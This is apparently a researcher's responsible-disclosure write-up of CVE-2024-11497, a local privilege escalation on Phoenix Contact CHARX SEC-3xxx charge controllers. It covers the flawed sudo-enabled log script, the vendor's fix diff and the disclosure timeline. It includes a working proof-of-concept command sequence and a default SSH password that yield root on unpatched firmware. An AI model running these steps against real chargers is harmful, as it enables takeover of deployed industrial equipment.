CVE-2024-11497: Privilege escalation on Phoenix Contact CHARX-SEC3xxx charge controllers
Finding a vulnerability through firmware analysis
My methodology, report, and PoC on finding a privilege escalation vulnerability on Phoenix Contact CHARX SEC-3xxx charge controllers with firmware version <1.7.0.
Methodology
(write-up in progress)
Report
The following findings regard firmware version 1.6.3 of the CHARX SEC-3xxx Linux environment. Static analysis shows the same flaws on the oldest publicly available version, 1.2.1, therefore I assume all available firmware versions are affected.
Summary
As per /etc/sudoers.d/user-app
, the user user-app
is allowed to execute /usr/local/bin/charx_pack_logs
as root using sudo charx_pack_logs
.
By abusing charx_pack_logs
the user is able to delete and replace any file with a log archive file with world-rwx permissions (chmod 777
). This effectively allows the user to gain write permissions to any file.
Through this mechanism, the user can replace another sudo-enabled script, gaining write permissions to it, therefore gaining root permissions.
Reproduction / Exploit
Log in via SSH as user-app
(default password: user
) and execute:
cp /usr/local/bin/charx_set_timezone /tmp/
sudo charx_pack_logs /usr/local/bin/charx_set_timezone
cat /tmp/charx_set_timezone > /usr/local/bin/charx_set_timezone
rm /tmp/charx_set_timezone
The user has now gained write permissions to /usr/local/bin/charx_set_timezone
, which can be executed as root using sudo
. Adding any commands to execute as root or just /bin/bash
to the script and executing sudo charx_set_timezone
finalizes the privilege escalation.
Relevant code and configuration
/etc/sudoers.d/user-app
(excerpt)
user-app ALL=(ALL) NOPASSWD:/usr/local/bin/charx_set_timezone, [...] /usr/local/bin/charx_pack_logs, [...]
/usr/local/bin/charx_pack_logs
(excerpt)
#!/bin/sh
[...]
CHMOD_LOGFILE="/bin/chmod 777"
target_file=$1
[...]
if [ -f $target_file ];then
/bin/rm $target_file
fi
[...]
filename=$target_file
# remove all whitespace and "=" character from filename to prevent command injection
filename_safe=${filename//[[:blank:]]/}
filename_safe=${filename_safe//[=]/}
# try to create the file to see whether the filename is valid
if ! "/bin/touch $filename_safe" 2>/dev/null
then
$TAR $filename_safe $charx_logfiles $submodule_logfiles
$CHMOD_LOGFILE $filename_safe
else
echo "Invalid filename"
exit 1
fi
Fix
The vulnerability in charx_pack_logs
was fixed by updating the permissions from 777
to 644
and checking the target file name to have a .tar.gz
extension. The script was furthermore proofed against path confusion and argument splitting bugs by introducing full paths for commands and quotes around variables:
$ diff v1.6.3/charx_pack_logs v1.7.0/charx_pack_logs
6,8c6,7
< FIND_ARGS="-type f"
< CHMOD_LOGFILE="/bin/chmod 777"
< target_file=$1
---
> CHMOD_LOGFILE="/bin/chmod 644"
> target_file="$1"
10c9
< if [ -z $target_file ];then
---
> if [ -z "$target_file" ];then
16,17c15,21
< if [ -f $target_file ];then
< /bin/rm $target_file
---
> if [[ "$target_file" != *.tar.gz ]]; then
> echo "Invalid file type"
> exit 1
> fi
>
> if [ -f "$target_file" ];then
> /bin/rm "$target_file"
[...]
Timeline
2024-11-12
Report sent to VDE CERT
2024-11-20
Finding confirmed by Phoenix Contact upon inquiry
2024-12-09
Fix scheduled for January release
2025-01-14
Security advisory released (fixed firmware available)